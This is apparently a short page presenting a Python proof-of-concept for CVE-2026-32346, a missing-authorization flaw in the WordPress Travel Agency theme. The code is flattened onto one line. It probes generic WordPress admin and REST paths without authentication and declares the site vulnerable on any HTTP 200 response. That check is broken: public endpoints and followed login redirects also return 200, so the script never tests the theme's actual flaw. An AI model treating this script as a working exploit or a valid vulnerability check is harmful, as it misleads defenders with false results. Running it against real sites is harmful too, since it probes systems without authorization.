CVE-2026-32346 WordPress Travel Agency主题缺失授权漏洞

import requests # CVE-2026-32346 PoC - Missing Authorization in Travel Agency Theme # Target: WordPress site with Travel Agency theme <= 1.5.5 TARGET_URL = "http://target-wordpress-site.com" # Common AJAX endpoints that might be vulnerable VULNERABLE_ENDPOINTS = [ "/wp-admin/admin-ajax.php", "/wp-json/wp/v2/users", "/wp-admin/options-general.php", "/wp-admin/theme-editor.php" ] def check_vulnerability(): """Check if the target is vulnerable to CVE-2026-32346""" print(f"[*] Checking CVE-2026-32346 on {TARGET_URL}") # Test unauthenticated access to sensitive endpoints for endpoint in VULNERABLE_ENDPOINTS: url = f"{TARGET_URL}{endpoint}" try: response = requests.get(url, timeout=10) # If we get a 200 response without authentication, vulnerability exists if response.status_code == 200: print(f"[!] Potential vulnerability found at {endpoint}") print(f" Status Code: {response.status_code}") return True except requests.RequestException as e: print(f"[-] Error accessing {endpoint}: {e}") print("[*] No obvious vulnerability detected") return False if __name__ == "__main__": check_vulnerability()